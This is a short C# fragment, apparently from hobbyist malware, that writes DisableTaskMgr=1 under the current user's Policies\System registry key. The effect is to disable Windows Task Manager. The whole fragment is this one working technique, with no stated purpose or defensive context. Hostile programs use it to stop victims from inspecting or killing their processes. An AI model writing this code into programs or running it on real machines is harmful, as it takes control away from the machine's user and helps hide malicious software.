RegistryKey Rawr;
            Rawr = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", true);
            if (Rawr == null)
            {
                Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", RegistryKeyPermissionCheck.ReadWriteSubTree);
                Rawr = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", true);
                Rawr.SetValue("DisableTaskMgr", 1);
            }
            else
            {
                Rawr.SetValue("DisableTaskMgr", 1);
            }
            Rawr.Flush();